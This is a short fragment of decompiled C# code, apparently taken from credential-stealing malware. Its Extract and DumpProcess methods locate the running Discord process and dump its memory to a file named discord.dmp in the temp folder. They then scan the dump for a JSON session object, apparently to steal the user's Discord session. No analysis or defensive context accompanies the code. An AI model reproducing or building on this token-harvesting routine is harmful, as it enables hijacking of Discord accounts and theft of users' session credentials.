// Token: 0x0600008E RID: 142 RVA: 0x00005F94 File Offset: 0x00004194 public static DiscordSession Extract() { try { Process process = DiscordManager.FindDisordProcess(); if (process != null) { string text = DiscordManager.DumpProcess(process); if (!string.IsNullOrEmpty(text)) { string text2 = DiscordManager.FindDiscordJsonSession(text); if (!string.IsNullOrEmpty(text2)) { return(text2.FromJSON <DiscordSession>()); } Console.WriteLine("JsonSession UNKNOWN"); } else { Console.WriteLine("Discord dump UNKNOWN"); } } else { Console.WriteLine("Discord process UNKNOWN"); } } catch (Exception arg_54_0) { Console.WriteLine(arg_54_0); } return(null); }
// Token: 0x06000090 RID: 144 RVA: 0x00006088 File Offset: 0x00004288 private static string DumpProcess(Process process) { string empty = string.Empty; try { string path = Environment.ExpandEnvironmentVariables(Path.Combine("%temp%", "discord.dmp")); bool flag = false; using (FileStream fileStream = File.Open(path, FileMode.Create, FileAccess.Write)) { flag = DiscordManager.MiniDumpWriteDump(process.Handle, process.Id, fileStream.SafeFileHandle.DangerousGetHandle(), 2u, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero); } if (flag) { return(File.ReadAllText(path)); } } catch { } return(empty); }